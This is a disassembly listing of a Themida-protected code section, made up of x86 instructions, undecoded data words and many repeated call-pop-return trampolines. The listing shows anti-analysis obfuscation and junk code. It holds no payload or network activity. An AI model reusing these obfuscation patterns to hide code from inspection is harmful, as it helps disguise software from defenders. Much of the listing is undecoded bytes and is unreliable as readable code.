; ---------------------------------------------------------------------------
db 66h, 66h
mov esi, 85891906h
popa
sub [ebx], cl
push es
mul dx
push 0
push edi
call sub_57A895
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57A895 proc near ; CODE XREF: Themida_:0057A88Dp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_57A895 endp
; ---------------------------------------------------------------------------
db 62h, 1, 84h
; ---------------------------------------------------------------------------
cmpsb
mov di, cx
mov edi, [ebp+60B2929h]
sub ebx, eax
push 0
push eax
call sub_57A8BF
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57A8BF proc near ; CODE XREF: Themida_:0057A8B7p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_57A8BF endp
; ---------------------------------------------------------------------------
adc al, 6Ah
xor esi, 2CD32D1Fh
pop eax
push 0
push ebx
call sub_57A8E3
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57A8E3 proc near ; CODE XREF: Themida_:0057A8DBp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_57A8E3 endp
; ---------------------------------------------------------------------------
aad 4
js short loc_57A95D
mov edi, edx
mov [ebp+60B2B21h], edx
sub ebx, eax
js loc_57AA31
mov di, cx
mov ecx, 7
add edi, 289544B5h
add ecx, 0
stc
cmp ebx, ecx
jbe loc_57AA31
mov di, si
mov cx, ds
cld
test cl, 4
jz loc_57AA12
push 0
push edi
call sub_57A93C
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57A93C proc near ; CODE XREF: Themida_:0057A934p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_57A93C endp
; ---------------------------------------------------------------------------
dd 0FDF30719h, 665EBDA5h, 8BC775BFh, 0B17BDB5h
; ---------------------------------------------------------------------------
push es
loc_57A95D: ; CODE XREF: Themida_:0057A8F5j
call dword ptr [ebp+60B18EDh]
push 0
push esi
call sub_57A96E
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57A96E proc near ; CODE XREF: Themida_:0057A966p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_57A96E endp
; ---------------------------------------------------------------------------
dw 0F9E6h
; ---------------------------------------------------------------------------
and cl, dh
pop edi
mov edi, [ebp+60B2DF5h]
pop ebx
jle loc_57A9A9
jmp loc_57A9A9
; ---------------------------------------------------------------------------
db 0D3h, 38h, 32h
dd 6DF2A97h, 1140ADDDh, 72DD1DD0h, 0E3731B51h
; ---------------------------------------------------------------------------
pop es
loc_57A9A9: ; CODE XREF: Themida_:0057A98Aj
; Themida_:0057A990j
sub eax, ebx
push 0
push ebp
call sub_57A9B6
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57A9B6 proc near ; CODE XREF: Themida_:0057A9AEp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_57A9B6 endp
; ---------------------------------------------------------------------------
dw 0E9BAh
dd 9, 4955C601h, 1374F2A9h, 29BD8BC1h, 3D060B19h, 834h
dd 2C860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 0A44408C3h, 0E90BB18Fh, 25h, 1E9DBD8Bh
; ---------------------------------------------------------------------------
or eax, [esi]
loc_57AA12: ; CODE XREF: Themida_:0057A92Bj
mov eax, eax
push 0
push eax
call sub_57AA1F
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57AA1F proc near ; CODE XREF: Themida_:0057AA17p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_57AA1F endp
; ---------------------------------------------------------------------------
sbb al, ch
loc_57AA31: ; CODE XREF: Themida_:0057A901j
; Themida_:0057A91Bj
mov eax, ebx
mov ebx, eax
push 0
push edx
call sub_57AA40
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57AA40 proc near ; CODE XREF: Themida_:0057AA38p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_57AA40 endp
; ---------------------------------------------------------------------------
dd 1ECB3244h, 0C7FB8B18h, 0B1A9D85h, 74AF3506h, 51006A34h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 1E1A263Eh, 41EF1119h, 29C08B30h, 0B214D9Dh, 85BD8106h
dd 0D0060B33h, 0F000007h, 4C85h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 33D6FD6Ah
dd 0B00E1B5h, 8585FF06h, 6A060B33h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 3357C355h
dd 0B015DBDh, 85B5FF06h, 8B060B33h, 0B0E9DB5h, 0DD95FF06h
dd 6A060B32h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 7059C353h, 7D8589FEh, 52060B0Bh
dd 905FFA8Bh, 20619D29h, 0BD8B060Bh, 60B03F1h, 3FD8589h
dd 8BF5060Bh, 0B069DB5h, 0FE8F906h, 0CF000000h, 0F7FCEAFCh
dd 1C3C3B21h, 0C95FB17Bh, 0B531C6ECh, 60B1B29h, 5FFBBF0Fh
dd 0AACE8166h, 0D8589BDh, 0F9060B08h, 3C62BF66h, 2005B589h
dd 8B66060Bh, 4D8D89F1h, 6A060B1Ah, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 6CD5C357h
dd 0DE860h, 54C10000h, 66265235h, 1BC3A259h, 89BECC55h
dd 0B01D995h, 0D8BF5E06h, 8B6FBAE2h, 0B2729BDh, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 0D98501A1h, 66060B07h, 0E5BFF28Bh, 0F17BF59h, 148Bh
dd 0E840F00h, 0E9000000h, 9, 0AB8536F8h, 1348FBEFh, 0BE955h
dd 2CB0000h, 0E52C900Bh, 2BC3F21Eh, 51006A8Fh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0F5B82A86h
dd 0FD8F588h, 58Ah, 0D6816600h, 0EE85B26h, 0D7000000h
dd 0C4ED71A0h, 87906C25h, 9B5E077Eh, 0F1BF0F94h, 0F7BAE95Eh
dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 8BAC15C3h, 95893A5Bh, 60B2979h, 8950C18Bh
dd 0B2F1185h, 4EB5E06h, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_57AC9B
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57AC9B proc near ; CODE XREF: Themida_:0057AC93p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_57AC9B endp
; ---------------------------------------------------------------------------
db 62h
dd 915A3A2Eh, 7335D7D4h, 0E2D68166h, 0E59D31BFh, 8D060B29h
dd 0B28A985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1804h, 0C3514100h, 1980141Fh, 0BF669053h, 60504A72h
dd 9061F6B5h, 0A2CDBE66h, 8589006Ah, 60B1FD1h, 6A006Ah
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 1862C4C3h, 0DC0FB0BFh, 0F18BF496h, 0EDBB858Dh, 6A060Eh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 0D701EC3h, 0ADB58977h, 83060B06h, 0E95005C0h, 10h, 0FDD21441h
dd 7824B00Eh, 0CC971444h, 85374640h, 6A240489h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 726AC352h, 0BE661888h, 6A5784h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 0E1C35040h, 7497ECA8h, 0C0F6026h
dd 0A870F67h, 0E9000000h, 5, 3610FE48h, 6A006A6Dh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 28F7C350h, 2A34D4C0h, 95FF405Eh, 60B2F21h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 84C35242h, 0B09D8D0Ch
dd 6A060EA7h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 8B3DC351h, 0B0349BDh, 6AD3FF06h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 2FDC352h, 6D85FF3Dh, 66060B06h, 0E9C9C7BFh
dd 765h, 0E8h, 0ED815D00h, 60EEDC5h, 11E9h, 0DBE79000h
dd 0AB99B6F7h, 50EEB2C3h, 1E249E21h, 0BD8140E3h, 60B3385h
dd 7D0h, 1BD860Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1A0424h, 57470000h, 6A5761C3h, 9E47AF76h
dd 0EAF68166h, 0F28B6602h, 649DE681h, 9D8B164Ah, 60B00A1h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 3DC35545h
dd 0E3819515h, 100h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ch, 34C35343h, 6C13D118h, 266DC286h, 850FDB0Bh
dd 0F9h, 0EF816653h, 835E6893h, 0EEBE8BDh, 840F0006h, 7Bh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0F9C35141h
dd 9FFA071Ah, 19F58D89h, 8C0F060Bh, 24h, 5E8h, 0AAB2A700h
dd 13E8E5FBh, 40000000h, 30216A68h, 0BEE45C0Fh, 0CD9D29BDh
dd 3E6BDD0Ch, 5F5F0EABh, 0A0E9h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0DC4FA80Ah
dd 65B58BD6h, 0C7060B0Ch, 0EEBE885h, 106h, 0EE900h, 0D5210000h
dd 0D88ACDDBh, 21D11621h, 6C32374Dh, 66F58060h, 61C2BF0Fh
dd 50E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1904h, 0C3554500h, 714B465h, 8A0F2204h, 19h, 14E9h
dd 6BF7E00h, 0AAD3A1BDh, 8DBAF552h, 0D97379DAh, 73C20427h
dd 0E885C778h, 60EEBh, 89000000h, 0B035DBDh, 0A19D8D06h
dd 9060B00h, 0B03F9B5h, 5E806h, 0ECB60000h, 89520805h
dd 0B208185h, 23815E06h, 0FFFFFEFFh, 0D3BF0F60h, 13ED8D8Bh
dd 6661060Bh, 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 66D900C3h, 1232F55Ah, 4C3F645h
dd 55840Fh, 0CE810000h, 54138C1Eh, 18ED95FFh, 90F9060Bh
dd 198D0Fh, 8B600000h, 10E9F1h, 42F00000h, 335730D9h, 945C1F86h
dd 49912999h, 5061B60Dh, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 87CEE46Ch, 13BF7C5Ch
dd 0E94B7023h, 31Dh, 0B0F08B66h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0B1E781ABh
dd 0E669DE7Ch, 45BF6670h, 71E4F829h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 54C35040h, 15D734FFh, 10AB2C7h
dd 0B2ED585h, 0D8B60F06h, 6BAF8h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B9E41C3h
dd 0BDB523C3h, 0C1060B0Bh, 6A04E8h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 58689C3h
dd 66D7710Ah, 0B360E2F7h, 0D82B61B2h, 2D89B58Bh, 8166060Bh
dd 50BBEDE7h, 6A241C89h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 4D73C357h, 9D89DA61h
dd 60B21E9h, 3385B5FFh, 95FF060Bh, 60B32DDh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6FC35545h, 0EC9613Ah
dd 0B0BCF584h, 15800F00h, 0E9000000h, 10h, 83A2994Fh, 1BE59302h
dd 0DB4997A7h, 0EF00C301h, 71E470E6h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 0C8C35242h, 6917AE88h, 3CA5AC8Fh
dd 0BA830F61h, 0F000001h, 0B60FFBB7h, 860FD8h, 0BA000000h
dd 6, 10E9h, 10A07000h, 5A4312F8h, 24B68820h, 0BD530936h
dd 6AC38B2Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 6E04C357h, 6604E8C1h, 6AE2F7h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 0D2AA53C3h, 0A095BFA3h, 0FB8B7D8Fh, 6AD82Bh, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 6A5883C3h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 0CC48C352h, 4C5AD703h, 2B60DDEBh
dd 0FE880FD8h, 0E9000000h, 5, 0A32E1D13h, 7B9BBh, 9D890000h
dd 60B0161h, 8900C183h, 0B0B759Dh, 0FD93B06h, 0D886h, 0F7BF0F00h
dd 8BD98C66h, 4C1F6F3h, 8E840Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 10DEDCC3h
dd 10B9956h, 0F9C1293h, 95FFF3B7h, 60B18EDh, 1619B58Bh
dd 0BE5B060Bh, 45DD506Bh, 0B70FC32Bh, 8343DFFh, 860F0000h
dd 44h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h
dd 20C35040h, 8B80902Fh, 0B07D9BDh, 9E906h, 5EFA0000h
dd 9068D610h, 0E901F5A3h, 45h, 6860Fh, 0BD8B0000h, 60B05F1h
dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
dd 53430000h, 8634D0C3h, 1FD1BD8Bh, 0EE9060Bh, 0F5000000h
dd 20E41E7Fh, 0A0122F32h, 1EBBDC62h, 8BC38B48h, 4CBE66D8h
dd 8585C705h, 0D7060B29h, 6A7054E3h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8B1AC353h
dd 0F9BF0FC0h, 3385BD81h, 7D0060Bh, 850F0000h, 59h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 95C35646h, 884E0CC8h
dd 0FF072864h, 0B338585h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8B66CB44h
dd 0BE9F8h, 0E45F0000h, 9624793h, 8029B6C7h, 85B5FF24h
dd 60060B33h, 3AC81B9h, 0D5858B3Fh, 61060B13h, 5344BE66h
dd 32DD95FFh, 0DE81060Bh, 239D0EE5h, 52006A90h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 8C34A6B2h
dd 5D0F17A4h, 0BD0BCCEBh, 60B1B25h, 0EE9h, 0ECA69A00h
dd 1F61F8D5h, 0EA416981h, 8B2A278Fh, 0B23F5B5h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 854C9C5Eh, 0BF2E9899h, 0F58EA52h, 0B58BFB8Bh, 60B29C1h
dd 8E9FA8Bh, 0D3000000h, 258EBADCh, 31B8295Eh, 0B059595h
dd 0A19D8906h, 0E8060B07h, 0Bh, 0A6CCFDD8h, 9C77383Eh
dd 0F9ED717h, 895EF8BFh, 0B09159Dh, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 19834F15h
dd 12E9490Ch, 0A6000000h, 0A909BC5Dh, 0C0776CB2h, 8BFE04Dh
dd 7A84256Ch, 0FDB5038Fh, 8B060B1Fh, 52006AFEh, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0A1E9ED9Bh
dd 1FFFFF8h, 0B0E9DB5h, 66C18B06h, 0EBC61DBEh, 4, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 6CE2D339h, 0DCE2A3C7h, 8B66E93Bh, 53006AFBh, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 66E72C2Ah
dd 0A51AF781h, 38D0Fh, 0B70F0000h, 68BF66F3h, 0A9858D56h
dd 0F060B28h, 198Eh, 14E900h, 35F50000h, 2025D009h, 780F8C6Dh
dd 9BF55D09h, 0CB9D87C5h, 66501C93h, 489F88Bh, 3DBD0324h
dd 6A060B06h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 8DB13963h, 0F5703DFh, 68Eh, 0D9BD8B00h
dd 5F060B15h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 3977ABC3h, 0DB0D0C1Dh, 0D68166C5h
dd 858D350Ch, 60EF737h, 3870Fh, 0BF0F0000h, 5C083FBh, 13E8h
dd 23985400h, 0E9D5DFCFh, 614CD86Fh, 0D357D0EBh, 594E5F00h
dd 5250905Fh, 7D1BBF66h, 0CE8310Fh, 0AB000000h, 15EEF1A1h
dd 36FF46B8h, 0E8BB6F42h, 5, 0BF467806h, 5A5F5F1Eh, 66535058h
dd 905EF18Bh, 7E8h, 8634D000h, 32EE44DAh, 5EFE8B66h, 6A006Ah
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 0A0B303C3h, 6A006AF9h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 3252C355h, 0BF665B79h
dd 95FFFB53h, 60B2F21h, 2149BD8Bh, 9D8D060Bh, 60EA7B0h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 30C35646h
dd 0D6C7E93Dh, 0FF0E7F65h, 12E9D3h, 0C3DF0000h, 195B8046h
dd 4621E8B4h, 8F149CC6h, 4D34EDA1h, 66D85FFh, 6A060Bh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 0E90EE7C3h, 7A2h, 0E8h, 0ED815D00h, 60EF741h, 81CF8B60h
dd 0D60809DFh, 0BD816108h, 60B3385h, 7D0h, 162860Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 6F01C3h, 0BB1D4EDBh, 0DE879h, 2B930000h, 0EA5AADBFh
dd 1B2736CAh, 0F3203F9h, 8B5FFBBFh, 0B13E99Dh, 0E381FC06h
dd 100h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 3BC35141h, 0F98B66D4h, 0BF1B70Fh, 83850FDBh, 83000000h
dd 0EF52DBDh, 840F0006h, 21h, 12E9h, 12B68E00h, 0CF60E681h
dd 60BAD6D2h, 95032A53h, 0E93DD78Ch, 8Ch, 81A0EDBEh, 2D85C72Dh
dd 1060EF5h, 2B000000h, 0B30E5B5h, 72E906h, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 0E9D40DC3h, 0Ah, 0B0505797h, 89357576h, 0FE94422h, 70000000h
dd 3BDA1789h, 0B009D5FFh, 0C5AA3CE9h, 85C7D5B0h, 60EF52Dh
dd 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_57B90F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57B90F proc near ; CODE XREF: Themida_:0057B907p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_57B90F endp
; ---------------------------------------------------------------------------
popf
sahf
dec eax
mov esp, 8B6CBA4Ah
mov ebp, 60B1221h
lea ebx, [ebp+60B13E9h]
push 0
push eax
call sub_57B93D
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57B93D proc near ; CODE XREF: Themida_:0057B935p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_57B93D endp
; ---------------------------------------------------------------------------
db 77h, 8Ah, 9Ah
; ---------------------------------------------------------------------------
mov esi, [ebp+60B1A35h]
and dword ptr [ebx], 0FFFFFEFFh
mov esi, [ebp+60B0C71h]
mov [ebp+60B01E9h], ecx
mov bx, ds
mov esi, ebx
test bl, 4
jz loc_57B9AF
jl loc_57B981
add si, 0EC4Dh
loc_57B981: ; CODE XREF: Themida_:0057B976j
call dword ptr [ebp+60B18EDh]
push eax
mov edi, 505C0F2Fh
mov [esp], eax
push 0
push edi
call sub_57B99B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57B99B proc near ; CODE XREF: Themida_:0057B993p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_57B99B endp
; ---------------------------------------------------------------------------
db 58h
db 3Dh, 1, 0CDh
; ---------------------------------------------------------------------------
loc_57B9AF: ; CODE XREF: Themida_:0057B970j
jmp loc_57BDB5
; ---------------------------------------------------------------------------
mov [ebp+60B0139h], ecx
or edi, 20E60DC0h
mov al, 0
push 0
push eax
call sub_57B9CD
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57B9CD proc near ; CODE XREF: Themida_:0057B9C5p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_57B9CD endp
; ---------------------------------------------------------------------------
db 16h, 0C5h, 66h
; ---------------------------------------------------------------------------
mov edi, 70E64E44h
push 0
push edx
call sub_57B9F0
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57B9F0 proc near ; CODE XREF: Themida_:0057B9E8p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_57B9F0 endp
; ---------------------------------------------------------------------------
retf 0E47Ch
; ---------------------------------------------------------------------------
db 0DEh
dd 0A395E868h, 0D59589E8h, 0E4060B12h, 0FF28B71h, 0ABBED8B6h
dd 0BA0D7324h, 6, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 8EC35141h, 8B2D3394h, 0B0415B5h, 0C1C38B06h, 6A04E8h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 0F7D04BC3h, 54C0A895h, 0F766F9FAh, 0FA8BF9E2h, 6AD82Bh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 8D2951C3h, 60B0841h, 241C8950h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 18h, 5DC35646h, 4C35F612h, 3385B5FFh
dd 0BD89060Bh, 60B24B5h, 32DD95FFh, 6A060Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 4D77EFC3h
dd 0ADE6A43Dh, 419589DBh, 0B0060B13h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 32128186h, 15E98529h, 9529060Bh, 60B103Dh, 6A70E6h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
dd 2FCFF3C3h, 3008C349h, 81B654ACh, 933100CFh, 8DB58915h
dd 0E4060B03h, 0DD853171h, 3C060B02h, 4E830F61h, 6A000002h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 89EBC351h, 0B00D5B5h, 0D8B60F06h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0DFC35141h, 85295702h
dd 60B063Dh, 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1A04h, 0C3534300h, 0B6E6AFAFh, 8BCC923Ah
dd 4DB58BC3h, 89060B0Ch, 0B1595B5h, 4E8C106h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B6C35545h, 0BE66938Ah
dd 0F7666556h, 55006AE2h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 2B933F8Fh, 7D9D89D8h
dd 58060B17h, 880FD82Bh, 179h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 29C35242h, 811DEE89h, 930F52E7h
dd 1D958938h, 0B9060B33h, 7, 0FE9h, 279CA700h, 48CE9F91h
dd 7AD3F14Ch, 421FCCE4h, 0BE00C183h, 4A45218Ch, 860FD93Bh
dd 125h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 0E7C35040h, 6AD98C66h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 274DC351h, 0EBD57178h
dd 8A0FF084h, 0Ch, 68D0Fh, 880F0000h, 0
; ---------------------------------------------------------------------------
test cl, 4
jz loc_57BDA7
and edi, [ebp+60B2881h]
call dword ptr [ebp+60B18EDh]
mov [ebp+60B0C19h], ebx
pop ebx
push 0
push ebp
call sub_57BD0B
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BD0B proc near ; CODE XREF: Themida_:0057BD03p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_57BD0B endp
; ---------------------------------------------------------------------------
db 0FEh
; ---------------------------------------------------------------------------
pop ss
stc
inc edi
clc
inc ebx
mov eax, 0BE98C174h
mov bh, 56h
scasd
dec ebp
sub eax, ebx
push 0
push eax
call sub_57BD37
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BD37 proc near ; CODE XREF: Themida_:0057BD2Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_57BD37 endp
; ---------------------------------------------------------------------------
cmpsb
dec ecx
les eax, [ecx+66h]
mov edi, ecx
mov [ebp+60B17D9h], esi
cmp eax, 834h
jbe loc_57BDA7
push 0
push esi
call sub_57BD6A
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BD6A proc near ; CODE XREF: Themida_:0057BD62p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_57BD6A endp
; ---------------------------------------------------------------------------
dw 0B9A1h
; ---------------------------------------------------------------------------
mov si, 0DD78h
jmp loc_57BDB5
; ---------------------------------------------------------------------------
push 0
push edx
call sub_57BD90
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BD90 proc near ; CODE XREF: Themida_:0057BD88p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_57BD90 endp
; ---------------------------------------------------------------------------
dd 89993459h
db 0FEh, 67h, 78h
; ---------------------------------------------------------------------------
loc_57BDA7: ; CODE XREF: Themida_:0057BCE7j
; Themida_:0057BD59j
mov eax, eax
jnb loc_57BDB5
mov esi, [ebp+60B2E61h]
loc_57BDB5: ; CODE XREF: Themida_:loc_57B9AFj
; Themida_:0057BD80j ...
mov eax, ebx
mov ebx, eax
push 0
push esi
call sub_57BDC4
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BDC4 proc near ; CODE XREF: Themida_:0057BDBCp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_57BDC4 endp
; ---------------------------------------------------------------------------
or ecx, edi
mov dword ptr [ebp+60B00A1h], 3F5E9953h
push 0
push ebx
call sub_57BDEB
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BDEB proc near ; CODE XREF: Themida_:0057BDE3p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_57BDEB endp
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
adc ch, dl
mov [ebp+60B0571h], eax
mov eax, eax
mov [ebp+60B0D51h], edx
cmp dword ptr [ebp+60B3385h], 7D0h
jnz loc_57BE2F
mov edi, [ebp+60B212Dh]
mov esi, 56E1FCD3h
inc dword ptr [ebp+60B3385h]
cld
cmc
loc_57BE2F: ; CODE XREF: Themida_:0057BE16j
push dword ptr [ebp+60B3385h]
push esi
jmp loc_57BE47
; ---------------------------------------------------------------------------
db 22h
dd 54680A82h, 5E153C82h
db 0D9h, 64h, 6Bh
; ---------------------------------------------------------------------------
loc_57BE47: ; CODE XREF: Themida_:0057BE36j
pop esi
or [ebp+60B08ADh], ebx
call dword ptr [ebp+60B32DDh]
pusha
movsx edi, cx
